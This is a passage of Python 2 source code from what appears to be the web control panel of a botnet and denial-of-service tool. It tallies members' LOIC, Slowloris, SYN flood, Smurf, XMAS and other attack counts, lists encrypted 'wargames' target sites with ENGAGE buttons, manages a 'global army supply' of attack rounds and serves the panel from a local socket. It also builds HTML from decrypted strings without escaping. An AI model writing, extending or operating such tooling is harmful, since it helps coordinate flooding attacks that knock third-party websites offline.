  5223. grid_tachyon = int(grid_tachyon)
  5224. mothership_tachyon = mothership_tachyon + grid_tachyon
  5225. except:
  5226. grid_tachyon = nodec_text
  5227. try: # decrypt + parse contact len + correct js view (without blank spaces)
  5228. grid_contact = m[9] # contact
  5229. self.decrypt(grid_key, grid_contact)
  5230. if self.decryptedtext:
  5231. grid_contact = self.decryptedtext
  5232. else:
  5233. grid_contact = nodec_text
  5234. self.decryptedtext = "" # clean decryptedtext buffer
  5235. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  5236. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5237. else:
  5238. try:
  5239. if " " in grid_contact: # m[9] = grid_contact
  5240. grid_contact = grid_contact.replace(" ","")
  5241. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  5242. except:
  5243. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  5244. except:
  5245. pass
  5246. try:
  5247. grid_id = m[10] # id
  5248. except:
  5249. pass
  5250. else: # no valid version
  5251. pass
  5252. try: # parsing for valid stream struct
  5253. grid_nickname = str(grid_nickname)
  5254. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  5255. except:
  5256. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  5257. grid_table += "</table><br>"
  5258. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  5259. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td></tr><tr><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td></tr></table><br><hr><br>"
  5260. f.write(mother_table)
  5261. f.write(grid_table)
  5262. f.write(end_mark)
  5263. f.close()
  5264. else: # not valid stream data
  5265. pass
  5266. if page == "/cmd_decrypt_grid_update":
  5267. if not os.path.exists('/tmp/out'):
  5268. open('/tmp/out', 'w').close()
  5269. with open('/tmp/out', 'r') as f:
  5270. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  5271. if page == "/cmd_decrypt_wargames":
  5272. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  5273. wargames_join_flag = False # anti-join flag for non decrypted wargames
  5274. try:
  5275. wargames_deckey = pGet["wargames_deckey"]
  5276. except:
  5277. wargames_deckey = ""
  5278. end_mark = "[Info] [AI] End of decryption."
  5279. if wargames_deckey is not "": # wargames decryption
  5280. nodec_text = "KEY?"
  5281. try: # read global army supply from configuration file (json)
  5282. with open(self.mothership_supplycfg_file) as data_file:
  5283. data = json.load(data_file)
  5284. except:
  5285. if os.path.exists(self.mothership_supplycfg_file) == True:
  5286. print '[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n'
  5287. return
  5288. else: # generate default global army supply configuration file
  5289. print '[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]'
  5290. with open(self.mothership_supplycfg_file, "w") as f:
  5291. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0}, f, indent=4)
  5292. with open(self.mothership_supplycfg_file) as data_file:
  5293. data = json.load(data_file)
  5294. self.supply_botnet = data["botnet"]
  5295. self.supply_loic = data["loic"]
  5296. self.supply_loris = data["loris"]
  5297. self.supply_ufosyn = data["ufosyn"]
  5298. self.supply_spray = data["spray"]
  5299. self.supply_smurf = data["smurf"]
  5300. self.supply_xmas = data["xmas"]
  5301. self.supply_nuke = data["nuke"]
  5302. self.supply_tachyon = data["tachyon"]
  5303. f = open(self.wargames_file,"r")
  5304. ls = f.readlines()
  5305. f.close()
  5306. if ls:
  5307. wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
  5308. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  5309. else:
  5310. wargames_autopanel = ""
  5311. wargames_supply = ""
  5312. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  5313. f = open("/tmp/out", "w")
  5314. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  5315. wargames_id = 1
  5316. for m in self.list_wargames_rev: # list = creation, target, estimated
  5317. if wargames_msg_sep in m:
  5318. m = m.split(wargames_msg_sep)
  5319. wargames_creation = m[0] # creation date
  5320. self.decrypt(wargames_deckey, wargames_creation)
  5321. if self.decryptedtext:
  5322. wargames_creation = self.decryptedtext
  5323. else:
  5324. wargames_creation = nodec_text
  5325. self.decryptedtext = "" # clean decryptedtext buffer
  5326. wargames_target = m[1] # target
  5327. wargames_target_joined = wargames_target
  5328. self.decrypt(wargames_deckey, wargames_target)
  5329. if self.decryptedtext:
  5330. wargames_target = self.decryptedtext
  5331. if wargames_target.startswith("www."):
  5332. wargames_target = wargames_target.replace("www.","")
  5333. else:
  5334. wargames_target = nodec_text
  5335. self.decryptedtext = "" # clean decryptedtext buffer
  5336. wargames_estimated = m[2] # estimated time
  5337. self.decrypt(wargames_deckey, wargames_estimated)
  5338. if self.decryptedtext:
  5339. wargames_estimated = self.decryptedtext
  5340. wargames_join_flag = True
  5341. else:
  5342. wargames_estimated = nodec_text
  5343. self.decryptedtext = "" # clean decryptedtext buffer
  5344. else:
  5345. wargames_target = "KEY?"
  5346. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5347. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  5348. try:
  5349. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5350. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5351. except: # discarding errors also on panel
  5352. wargames_creation = now
  5353. wargames_estimated = now
  5354. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  5355. wargames_creation = now
  5356. wargames_estimated = now
  5357. if (now >= wargames_estimated) == False: # change flag color when time is out
  5358. time_now = time.mktime(now)
  5359. time_estimated = time.mktime(wargames_estimated)
  5360. wargames_eta = (time_estimated - time_now)
  5361. hours, rem = divmod(wargames_eta, 3600)
  5362. minutes, seconds = divmod(rem, 60)
  5363. if "!!!" in wargames_target_joined:
  5364. status = "JOINED!"
  5365. wargames_status = "<font color='cyan'>"+status+"</font>"
  5366. if wargames_join_flag == True:
  5367. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  5368. else:
  5369. wargames_join = "KEY?" # present but with a different crypto-key
  5370. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5371. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5372. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  5373. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5374. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  5375. else:
  5376. status = "-ONGOING-"
  5377. wargames_status = "<font color='orange'>"+status+"</font>"
  5378. if wargames_join_flag == True:
  5379. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  5380. else:
  5381. wargames_join = "KEY?" # present but with a different crypto-key
  5382. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5383. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5384. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  5385. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5386. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  5387. else:
  5388. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5389. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  5390. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5391. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  5392. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  5393. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  5394. status = "-CLOSED-"
  5395. wargames_status = "<font color='red'>"+status+"</font>"
  5396. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  5397. wargames_id = wargames_id + 1
  5398. wargames_table += "</table><br>"
  5399. f.write(wargames_table)
  5400. f.write(end_mark)
  5401. f.close()
  5402. if page == "/cmd_decrypt_wargames_update":
  5403. if not os.path.exists('/tmp/out'):
  5404. open('/tmp/out', 'w').close()
  5405. with open('/tmp/out', 'r') as f:
  5406. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  5407. if page == "/blackholes":
  5408. self.pages["/blackholes"] = self.html_blackholes()
  5409. if page == "/requests":
  5410. if pGet=={}:
  5411. self.pages["/requests"] = self.html_requests()
  5412. else:
  5413. self.save_cfg(pGet)
  5414. self.pages["/requests"] = self.html_request_submit()
  5415. if page == "/abduction":
  5416. self.pages["/abduction"] = self.html_abduction()
  5417. if page == "/stats":
  5418. self.pages["/stats"] = self.html_stats()
  5419. if page == "/wormhole":
  5420. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  5421. ctype = "text/html"
  5422. if page.find(".js") != -1:
  5423. ctype = "application/javascript"
  5424. elif page.find(".txt") != -1:
  5425. ctype = "text/plain"
  5426. elif page.find(".ico") != -1:
  5427. ctype = "image/x-icon"
  5428. elif page.find(".png") != -1:
  5429. ctype = "image/png"
  5430. elif page.find(".css") != -1:
  5431. ctype = "text/css"
  5432. if page in self.pages:
  5433. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  5434. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  5435. class Command(object):
  5436. def __init__(self, cmd):
  5437. self.cmd = cmd
  5438. self.process = None
  5439. def run(self, timeout):
  5440. def target():
  5441. self.process = subprocess.Popen(self.cmd, shell=True)
  5442. thread = threading.Thread(target=target)
  5443. thread.start()
  5444. thread.join(timeout)
  5445. if thread.is_alive():
  5446. self.process.terminate()
  5447. thread.join()
  5448. if __name__ == "__main__":
  5449. webbrowser.open('http://127.0.0.1:9999', new=1)
  5450. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5451. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  5452. tcpsock.bind((host, port))
  5453. while True:
  5454. tcpsock.listen(4)
  5455. (clientsock, (ip, c_port)) = tcpsock.accept()
  5456. newthread = ClientThread(ip, c_port, clientsock)
  5457. newthread.start()